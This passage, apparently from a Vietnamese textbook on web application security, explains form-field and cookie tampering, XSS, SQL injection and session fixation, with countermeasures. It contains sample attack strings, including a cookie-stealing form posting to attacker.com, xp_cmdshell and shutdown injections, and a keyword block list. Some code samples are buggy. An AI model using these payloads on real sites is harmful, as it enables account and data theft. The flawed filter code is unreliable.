<form action="http://www.tancong.com/cuahang.pl" method="POST"> ... <input type="hidden" name="giaca" value="99.99">

...

</form>

Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung :

POST /cuahang.pl HTTP/1.0 ... giaca=99.99

Nhưng nếu hacker gán một giá trị khác cho trường “giaca” :

<form action="http://www.tancong.com/cuahang.pl" method="POST"> ... <input type="hidden" name="giaca" value="0.99">

...

</form>

thì yêu cầu sẽ thay đổi:

POST /cuahang.pl HTTP/1.0 ... giaca=0.99

24

Biện pháp khắc phục Chỉ nên sử dụng trường ẩn của form để hiển thị dữ liệu trên trình duyệt,

không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng.

Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi

đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì

vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra.

Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán

mã hoá hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó vào

một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao

tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem

so sánh với “Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong

biểu mẫu đã bị thay đổi.

Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên CSDL.

25

2.1.4. Thao tác trên Cookie

a) Khái niệm: Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ giữa trình chủ

và trình duyệt của người dùng.

Cookie lưu trữ dưới những file dữ liệu nhỏ dạng text, được ứng dụng tạo

ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm trang

Web và những vùng mà họ đi qua trong trang. Những thông tin này bao gồm

tên/định danh người dùng, mật khẩu, sở thích, thói quen...cookie được trình

duyệt của người dùng chấp nhận lưu trên đĩa cứng của máy mình, tuy nhiên

không phải lúc nào trình duyệt cũng hỗ trợ cookie, mà còn tùy thuộc vào người

dùng có chấp nhận chuyện lưu trữ đó hay không.

Ở những lần truy cập sau đến trang Web đó, ứng dụng có thể dùng lại

những thông tin trong cookie, người dùng không phải làm lại thao tác đăng

nhập hay phải cung cấp lại các thông tin khác.

Cookie được phân làm 2 loại secure/non-secure và persistent/non-persistent

do đó ta sẽ có 4 kiểu cookie là:

Persistent và Secure

Persistent và Non-Secure

Non-Persistent và Secure

Non-Persistent và Non-Secure

+ Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình

duyệt Netscape navigator sẽ lưu các cookie thành một tập tin cookie.txt còn

Internet Explorer sẽ lưu thành nhiều tập tin *.txt trong đó mỗi tập tin là một

cookie) trên máy khách trong một khoảng thời gian xác định.

+ Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách

và sẽ bị hủy khi đóng trang web hay nhận được lệnh hủy từ trang web.

+ Secure cookie chỉ có thể được gửi thông qua HTTPS (trình chủ sẽ cung

cấp chế độ truyền bảo mật.).

+ Non-Secure cookie được gửi qua hai giao thức HTTPS hoặc HTTP.

26

Ví dụ 5:

chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie: Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";

domain="www.redhat.com"; path_spec; expires="2006-07-2719:39:15Z"; version=0

+ Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với

đường dẫn là: C:\Program Files\Netscape\Users\UserName\Cookies.txt.

+ Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie

và được đặt trong [C:]\Documents and Setting\[username]\Cookies (Win2000),

đối với win9x, thư mục cookies nằm trong thư mục [C:]\Windows\cookies.

Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là

20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”.

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường

được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là trường ẩn form và

biến trên URL. Nó còn được dùng để lưu trữ những thông tin của người dùng

khi sử dụng ứng dụng và những dữ liệu khác của session. Tất cả các loại cookie

như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi

người dùng và được gửi về cho trình chủ. Do đó hacker có thể thay đổi nội

dung cookie để phá hoại ứng dụng.

Với công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay

đổi nội dung. SSL chỉ có thể bảo vệ cookie trong quá trình truyền.

Ví dụ 6:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ; Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng

nếu hacker thay đổi thành:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ; Hacker lúc này mang vai trò là một nhà quản trị của ứng dụng.

27

Biện pháp khắc phục

Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ.

Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng

sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache

hay cơ sở dữ liệu.

Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những

giá trị không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ

“người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số

thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người

quản trị” được lưu trữ trên server.

Phương pháp cuối cùng là mã hoá cookie. Một số phương pháp mã

hoá như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã)

hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã

hóa và một khóa riêng để giải mã)

28

2.2. TẤN CÔNG “CHÈN MÃ LỆNH TRÊN TRÌNH DUYỆT”

(Cross Site Scripting -XSS)

2.2.1. Phương pháp tấn công XSS

Phương pháp “Cross Site Scripting” (XSS) là phương pháp tấn công, bằng

cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những

thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web, để

từ đó chúng được chạy như là một phần của ứng dụng Web, và có khả năng

cung cấp hoặc thực hiện những điều hacker muốn.

Phương pháp này không nhằm vào máy chủ hệ thống, mà chủ yếu tấn

công vào máy người dùng. Hacker lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và

hiểu biết hạn chế của người dùng, biết đánh vào sự tò mò của họ dẫn đến người

dùng bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL, để đưa ra những liên kết là

tác nhân kích hoạt những đoạn chương trình viết bằng ngôn ngữ máy khách như

VBScript, JavaScript… thực thi trên chính trình duyệt của nạn nhân.

Ví dụ 7: http://hotwired.lycos.com/webmonkey/00/index1.html?tw= <script>alert(document.cookie);</script>

hay http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text= %3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp

cookies của nạn nhân. Trong 2 ví dụ trên, hầu hết những tiền tố URL là địa chỉ

của những ứng dụng Web có thật

29

Ví dụ trên chỉ minh họa việc thêm đoạn mã của mình vào trang Web

thông qua URL. Nhưng thực sự thì có nhiều cách để thêm đoạn mã

JavaScript với mục đích tấn công kiểu XSS. Hacker có thể lợi dụng

Document Object Model (DOM), để thay đổi ngữ cảnh và nội dung Web ứng

dụng. Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> <input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]"> &<script>[code]</script> &{[code]}; ... </a>

30

Các bước thực hiện XSS truyền thống:

Hình 4: Quá trình thực hiện XSS

Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng

Web có lỗ hổng XSS.

Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính

trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính

hacker tạo ra…).

Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về

máy chủ của hacker.

Bước 4: Hacker tạo một chương trình hoặc một trang Web để ghi nhận

những thông tin đã đánh cắp vào 1 tập tin

Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để

thâm nhập vào tài khoản của người dùng.

31

Ví dụ 8: Khi đang đọc thư mà chuyển sang website khác, có thể bị mất mật khẩu.

Trước đây, hàng loạt hộp thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư

mà không rõ nguyên nhân, đó là do lỗi XSS. Hacker đã sử dụng đoạn mã sau để

đánh cắp cookie: <form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie"> </form>

<img border="0" onmouseover="window.document.XSS.cookie.value =

document.cookie; window.document.XSS.submit();" src="none.jpg">

Khi nhận thư, nếu vô tình đưa con chuột qua bức ảnh gửi kèm, người dùng sẽ bị

lấy mất cookie. Và với cookie lấy được, các hacker có thể login hòm thư mà

không cần biết mật khẩu.

Ví dụ 9:

Nếu như gặp một liên kết có dạng: http://example.com/search.cgi?query=<script>alert(document.cookie)</script>

Người dùng phải xem xét kĩ trước khi click vào, vì có khả năng sẽ mất cookies.

Do đó nên tắt JavaScript cho trình duyệt trước khi click vào, hay ít nhất cũng có

một chút cảnh giác. Nhưng nếu gặp liên kết: http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%6

9%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74%2E%6

3%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]

Đó thực chất chính là liên kết ban đầu, nhưng chỉ khác nó được mã hoá.

Một phần kí tự của liên kết đã được thay thế bởi mã HEX của nó, tất nhiên trình

duyệt của bạn vẫn hiểu địa chỉ đó thực sự là gì.

32

2.2.2. Biện pháp phòng tránh:

OWASP nói rằng để có thể xây dựng các website bảo mật cao, đối với các

dữ liệu của người dùng nên:

+ Chỉ chấp nhận những dữ liệu hợp lệ.

+ Từ chối nhận các dữ liệu hỏng.

+ Liên tục kiểm tra và thanh lọc dữ liệu.

Tuy nhiên trên thực tế, một số trường hợp phải chấp nhận cả dữ liệu hợp

lệ, không hợp lệ hay dữ liệu hỏng vì không có một bộ lọc phù hợp. Chính vì vậy

phải có những cách riêng để giải quyết.

Một trong những cách hay dùng là mã hoá các kí tự đặc biệt trước khi in

ra website, nhất là những gì có thể gây nguy hiểm cho người dùng. Trong trường

hợp mã hóa thẻ <script> thành <script>. Như vậy nó sẽ vẫn được in ra màn hình

mà không hề gây nguy hiểm cho người dùng.

Cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho thực thi ngôn

ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người

dùng sẽ quyết định.

33

2.3. TẤN CÔNG KIỂU “CHÈN CÂU LỆNH TRUY VẤN” (SQL Injection)

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình

Web về phần truy xuất CSDL. Đây không chỉ là khuyết điểm của riêng SQL

Server, mà nó còn là vấn đề chung cho toàn bộ các CSDL khác như Oracle, MS

Access hay IBM DB2.

Khi hacker gửi dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện

và trả về cho trình duyệt kết quả câu truy vấn hay thông báo lỗi có liên quan đến

CSDL. Và nhờ những thông tin này, hacker biết được nội dung CSDL, và từ đó

có thể điều khiển hệ thống ứng dụng.

Các dạng tấn công bằng SQL Injection:

Có bốn dạng thông thường bao gồm:

1 Vượt qua kiểm tra lúc đăng nhập (authorization bypass)

2 Sử dụng câu lệnh SELECT

3 Sử dụng câu lệnh INSERT

4 Sử dụng các stored-procedure

34

2.3.1. Tấn công vượt qua kiểm tra đăng nhập

Với dạng tấn công này, tin tặc có thể vượt qua các trang đăng nhập, nhờ

vào lỗi khi dùng các câu lệnh SQL, thao tác trên CSDL của ứng dụng web.

Xét ví dụ điển hình, thông thường để cho phép người dùng truy cập vào

các trang web được bảo mật, hệ thống có trang đăng nhập để người dùng nhập

tên đăng nhập và mật khẩu. Hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có

hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp. Có thể dùng

hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng

để xử lí thông tin nhập từ phía người dùng.

Ví dụ 11:

login.htm <form action="execlogin.asp" method="post">

Username: <input type="text" name="fUSRNAME">

<br>

Password: <input type="password" name="fPASSWORD">

<br>

<input type="submit">

</form>

execlogin.asp <% Dim vUsrName, vPassword, objRS, strSQL

vUsrName = Request.Form("fUSRNAME")

vPassword = Request.Form("fPASSWORD")

strSQL= "SELECT * FROM T_USERS WHERE USR_NAME=' " & vUsrName & " '

and USR_PASSWORD=' " & vPassword & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

If (objRS.EOF) Then

Response.Write "Invalid login."

Else

Response.Write "You are logged in as " & objRS("USR_NAME")

End If

Set objRS = Nothing %>

35

Đoạn mã “execlogin.asp” dường như không chứa một lỗ hổng về an toàn.

Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp

lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL

injection. Sơ hở nằm ở dữ liệu nhập vào từ người dùng được dùng để xây dựng

trực tiếp câu lệnh SQL. Chính điều này cho phép những kẻ tấn công có thể điều

khiển câu truy vấn sẽ được thực hiện.

Nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username và

password của trang “login.htm” là: ' OR ' ' = ' '

Lúc này, câu truy vấn sẽ được gọi thực hiện là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and

USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ, và sẽ trả về tất cả các bản ghi của T_USERS,

câu lệnh so sánh luôn luôn đúng (vì‘’luôn bằng‘’), nên câu điều kiện trong mệnh

đề WHERE luôn đúng, và thực hiện phép logic “OR” giữa giá trị bất kì với dữ

liệu trong T_USERS, giá trị tên người sử dụng của dòng đầu tiên trong bảng sẽ

được chọn, xử lí người dùng đăng nhập bất hợp pháp này như là người dùng

đăng nhập hợp lệ.

36

2.3.2. Tấn công sử dụng câu lệnh SELECT

Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ

tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ

hệ thống, để dò tìm các điểm yếu khởi đầu cho việc tấn công.

Xét ví dụ thường gặp trong các website về tin tức. Có một trang nhận ID

của tin cần hiển thị, sau đó truy vấn nội dung của tin có ID này.

Ví dụ 12: http://www.myhost.com/shownews.asp?ID=123

Mã nguồn cho chức năng này thường được viết theo dạng: <%

Dim vNewsID, objRS, strSQL

vNewsID = Request("ID")

strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID & "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing

%>

Trong tình huống thông thường, đoạn mã này hiển thị nội dung của tin có

ID trùng với ID đã chỉ định, và hầu như không thấy có lỗi. Tuy nhiên, giống như

ví dụ 11, đoạn mã này để lộ sơ hở cho một lỗi SQL injection khác. Kẻ tấn công

có thể thay thế ID hợp lệ bằng cách gán ID cho một giá trị khác, và khởi đầu cho

cuộc tấn công bất hợp pháp.

37

Ví dụ 13: 0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp?ID=0 or 1=1).

Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó

sẽ thực hiện câu lệnh: SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

Ví dụ về trang tìm kiếm. Trang này cho phép người dùng nhập vào các

thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là: <% Dim vAuthorName, objRS, strSQL

vAuthorName = Request("fAUTHOR_NAME")

strSQL="SELECT * FROM T_AUTHORS

WHERE AUTHOR_NAME =' " vAuthorName & " ' "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>

Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL

để nhập vào trường tên tác giả bằng chuỗi giá trị: ' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='

Lúc này, ngoài câu truy vấn đầu thành công, chương trình sẽ thực hiện

thêm lệnh tiếp theo sau từ khóa UNION nữa.

Có thắc mắc là làm thế nào có thể biết được tên của bảng dữ liệu để thực

hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection. Đơn giản vì

trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê

tất cả các tên bảng và cột có trong hệ thống.

Ta chỉ cần chỉnh lại câu lệnh SELECT: ' UNION SELECT name FROM sysobjects WHERE xtype = 'U'

là có thể liệt kê được tên tất cả các bảng dữ liệu.

38

2.3.3. Tấn công sử dụng câu lệnh INSERT

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài

khoản để tham gia. Sau khi đăng kí thành công, người dùng có thể xem và hiệu

chỉnh thông tin của mình. SQL injection có thể được dùng khi hệ thống không

kiểm tra tính hợp lệ của thông tin nhập vào.

Ví dụ 14: câu lệnh INSERT có cú pháp dạng: INSERT INTO TableName VALUES('Value One',

'Value Two', 'Value Three').

Nếu đoạn mã xây dựng câu lệnh SQL có dạng:

<% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ',

' " & strValueTwo & " ', ' " & strValueThree & " ') "

Set objRS = Server.CreateObject("ADODB.Recordset")

objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>

thì chắc chắn sẽ bị lỗi SQL injection, khi ta nhập:

' + (SELECT TOP 1 FieldName FROM TableName) + '

Lúc này câu truy vấn sẽ là: INSERT INTO TableName

VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')

Khi đó, lúc thực hiện lệnh xem thông tin, thì xem như đã yêu cầu thực hiện thêm

một lệnh nữa, đó là: SELECT TOP 1 FieldName FROM TableName

39

2.3.4. Dạng tấn công sử dụng Stored-Procedures

“Stored Procedure” được dùng trong lập trình Web với mục đích giảm sự

phức tạp trong ứng dụng và tránh bị tấn công bằng kĩ thuật SQL Injection. Tuy

nhiên hacker vẫn có thể lợi dụng “Stored Procedure” để tấn công vào hệ thống.

Việc tấn công bằng “stored-procedures” sẽ gây tác hại lớn, nếu ứng dụng

được thực thi với quyền quản trị hệ thống 'sa'.

Ví dụ 15: nếu ta thay đoạn mã dạng: '; EXEC xp_cmdshell ‘cmd.exe

dir C:'.

Hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc

phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

Ví dụ 16:

Stored procedure sp_login gồm hai tham số là username và

password. Nếu nhập:

Username: nhimmap

Password: ‘;shutdown--

Lệnh gọi stored procedure như sau:

exec sp_login ‘nhimmap’,‘’;shutdown--’ Dấu chấm phẩy (;) kết thúc truy vấn SQL và cho phép thi hành lệnh SQL mới.

Lúc này, “Shutdown” không còn là password, nó trở thành lệnh thực thi dừng

SQL, dấu “--” thông báo không làm gì tiếp theo.

40

2.3.5. Biện pháp phòng tránh:

Lỗi SQL injection khai thác những bất cẩn của lập trình viên phát triển

ứng dụng web, khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác

hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống.

Nếu ứng dụng sử dụng quyền “dbo” (quyền của người sở hữu CSDL) khi

thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu

mới, … Nếu ứng dụng sử dụng quyền “sa” nó có thể điều khiển toàn bộ hệ quản

trị CSDL, và với quyền hạn rộng như vậy, nó có thể tạo ra các tài khoản người

dùng bất hợp pháp để điều khiển hệ thống.

Để phòng tránh, ta có thể thực hiện ở hai mức:

1/ Kiểm soát chặt chẽ dữ liệu nhập vào

Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL

bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng

Request (Request, Request.QueryString, Request.Form, Request.Cookies, and

Request.ServerVariables).

Ví dụ 17:

có thể giới hạn chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm

EscapeQuotes để thay thế các dấu nháy đơn bằng 2 dấu nháy đơn <%

Function EscapeQuotes(sInput)

sInput = replace(sInput, " ' ", " ' ' ")

EscapeQuotes = sInput

End Function

%>

Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế

một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp

pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không

bằng hàm IsNumeric().

41

Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm như:

;, --, select, insert, xp_, …

ra khỏi chuỗi dữ liệu nhập từ phía người dùng để hạn chế các tấn công dạng này: <%

Function KillChars(sInput)

dim badChars

dim newChars

badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")

newChars = strInput

for i = 0 to uBound(badChars)

newChars = replace(newChars, badChars(i), "")

next

KillChars = newChars

End Function

%>

2/ Thiết lập cấu hình an toàn cho hệ quản trị CSDL

Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài

khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường

nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại

càng ít. Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ

bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người

dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ

thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.

42

2.4. TẤN CÔNG DỰA VÀO “KIỂU QUẢN LÝ PHIÊN LÀM VIỆC”

(SessionID Management)

HTTP là giao thức hướng đối tượng tổng quát, phi trạng thái, nghĩa là

HTTP không lưu trữ trạng thái làm việc giữa trình duyệt với trình chủ. Thiếu

sót này gây khó khăn cho một số ứng dụng Web, bởi vì trình chủ

không biết được trước đó trình duyệt đã có những trạng thái nào. Vì thế, để

giải quyết vấn đề này, ứng dụng Web đưa ra một khái niệm phiên làm việc

(Session). Còn SessionID là một chuỗi để chứng thực phiên làm việc. Một số

trình chủ sẽ cung cấp một SessionID cho người dùng khi họ xem trang web

trên trình chủ.

Để duy trì phiên làm việc thì sessionID thường được lưu vào :

Biến trên URL

Trường ẩn form

Cookie

Phiên làm việc chỉ tồn tại trong khoảng thời gian cho phép, thời gian này

được cấu hình qui định tại trình chủ hoặc bởi ứng dụng thực thi. Trình chủ sẽ tự

động giải phóng phiên làm việc để khôi phục lại tài nguyên của hệ thống.

Sau khi người dùng được xác thực dựa trên thông tin cá nhân như

tên/mật khẩu, session ID được xem như mật khẩu tĩnh tạm thời cho những lần

yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho những

hacker. Nhiều trường hợp, hacker giành được session ID hợp lệ của người

dùng, để từ đó đột nhập vào phiên làm việc của họ.

Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu

chính sau:

+ Ấn định phiên làm việc (Session Fixation).

+ Đánh cắp phiên làm việc (Session Hijacking).

43

2.4.1. Tấn công kiểu “Ấn định phiên làm việc”

Trong kiểu tấn công “ấn định phiên làm việc”, hacker ấn định sẵn session

ID cho nạn nhân, trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sử dụng

session ID này để buớc vào phiên làm việc của nạn nhân đó.

Quá trình tấn công như sau:

Bước 1: Thiết lập session ID.

Hệ thống quản lí session theo 2 hướng:

+ Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session

thì tạo mới một session ID.

+ Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó.

Với hệ thống hướng tự do, hacker chỉ cần thiết lập một session ID bất kì,

nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí

một session ID với ứng dụng.

Phụ thuộc vào qui trình quản lí phiên làm việc, hacker lưu trữ “thời gian

sống” (Time To Live) của phiên làm việc cho đến khi nạn nhân đăng nhập vào

hệ thống. Thông thường một phiên làm việc không tồn tại vô hạn. Hệ thống sẽ

tự động hủy bỏ phiên làm việc, nếu nó không thực hiện một thao tác nào (thời

gian nhàn rỗi) hoặc hết hạn định.

Hình 5: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session

44

Bước 2: Gửi ID này đến trình duyệt nạn nhân.

Hacker gửi session ID vừa tạo đến người dùng, việc trao đổi ID session

còn tùy vào ứng dụng, có thể qua parameter URL, trường ẩn form hay cookie.

Các cách tấn công thông dụng gồm có:

1 Tấn công sessionID trên tham số URL (SessionID parameter URL).

2 Tấn công sessionID trên trường ẩn form (SessionID hidden Form Field).

3 Tấn công sessionID trong cookie.

a/ Tấn công sessionID trên tham số URL (SessionID parameter URL)

Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích

với sessionID đã được ấn định sẵn trên URL.

Ví dụ 18: http://online.worldbank.com/login.jsp?sessionid=1234

45

1) Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địa chỉ

online.worldbank.com

2) Nhận được một session ID từ trình chủ, để xác định phiên làm việc

của hacker. Ví dụ session ID có giá trị là 1234.

3) Hacker tìm cách gửi liên kết đến một người dùng nào đó, có tài khoản trong

ngân hàng này. Liên kết đó thường dẫn đến trang đăng nhập vào tài khoản trong

ngân hàng ví dụ liên kết là

http://online.workbank.com/login.jsp?sessionid=1234. Người dùng có thể bị lừa

làm việc trong phiên làm việc của hacker, khi người dùng nhận được liên kết

này.

4) Người dùng bị mắc lừa và mở ứng dụng Web tói ngân hàng bằng liên kết

của hacker. Do đã có session ID=1234 (của hacker), nên trình chủ không tạo

session ID mới.

5) Người dùng tiếp tục đăng nhập với thông tin của mình để quản lí tài khoản

trong ngân hàng

6) Khi đó hacker vào tài khoản của người dùng mà không cần phải đăng nhập

vì có cùng phiên làm việc.

b/ Tấn công Session ID trong biến ẩn Form

Cách tấn công này tương tự như “Thao tác trên trường ẩn Form”

(phần 2.1.2), sau khi hacker xem mã HTML của trang Web, nhận thấy

session ID được đặt trong biến ẩn form, hacker sẽ gửi một sessionID cũng

trên URL đến người dùng hoặc một trang Web giống trang đích nhưng với biến

ẩn form mang giá trị ấn định sẵn.

46

c/ Tấn công Session ID trong cookie

Lợi dụng cookie, hacker có hai cách để đưa một session ID đến trình

duyệt của nạn nhân:

1). Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản:

Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình

duyệt như Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie

cho trình duyệt bằng cách thiết lập giá trị “ document.cookie”.

Ví dụ 19: http://online.workbank.com/<script>document.cookie=“sessionid=1234;

domain= .workbank.com”;</script>

Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain

cookie…và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain

nào thuộc.workbank.com đều có thể đọc được giá trị cookie này.

2). Dùng thẻ <META> với thuộc tính Set-Cookie:

Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ <META> trong

HTML.

Ví dụ 20: < meta http-equiv= Set-Cookie content=”sessionid=1234”>

Bước 3: Đột nhập vào phiên làm việc của nạn nhân.

Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định

sẵn và chưa thoát khỏi ứng dụng, hacker dùng session ID đó để bước vào phiên

làm việc của nạn nhân.

47

2.4.2.Tấn công kiểu “Đánh cắp phiên làm việc”

Khác với kiểu tấn công ấn định phiên làm việc, hacker đánh cắp một

session ID của người dùng khi họ đang trong phiên làm việc của mình.

Và để có thể đánh cắp session ID của người dùng, hacker có thể dùng những

phương pháp sau:

1 Dự đoán phiên làm việc

2 Vét cạn phiên làm việc.

3 Dùng đoạn mã đánh cắp phiên làm việc

a.) Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID)

Hacker phải là người dùng hợp lệ của hệ thống, sau vài lần đăng

nhập vào hệ thống, hacker xem xét các giá trị session ID nhận được, tìm ra qui

luật phát sinh và từ đó có thể đoán được giá trị của một phiên làm việc của

người dùng kế tiếp.

b). Tấn công kiểu vét cạn phiên làm việc (Brute force ID)

Hacker tự tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời

gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các

sessionID đang tồn tại. Hacker dựa vào thói quen của những nhà phát triển ứng

dụng lấy thời gian hay địa chỉ IP của người dùng để tạo sessionID để hạn chế

vùng vét cạn.

c). Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc

Bằng cách chèn vào đoạn mã thực thi trên chính trình duyệt của nạn nhân,

hacker có thể lừa người dùng theo vết một liên kết để từ đó thực hiện đánh cắp

cookie của người dùng và cách này được thực hiện thông qua lỗi Cross-

Site Scripting. Sau khi có được phiên làm việc của người dùng, hacker vào

phiên làm việc của họ.

48

2.4.3. Biện pháp phòng chống:

Biện pháp 1: Chống việc đăng nhập với một session ID có sẵn

Theo kiểu tấn công này, người dùng đăng nhập vào hệ thống thông qua

một session ID do hacker tạo sẵn, thay vì do trình chủ tạo mới. Do đó để phòng

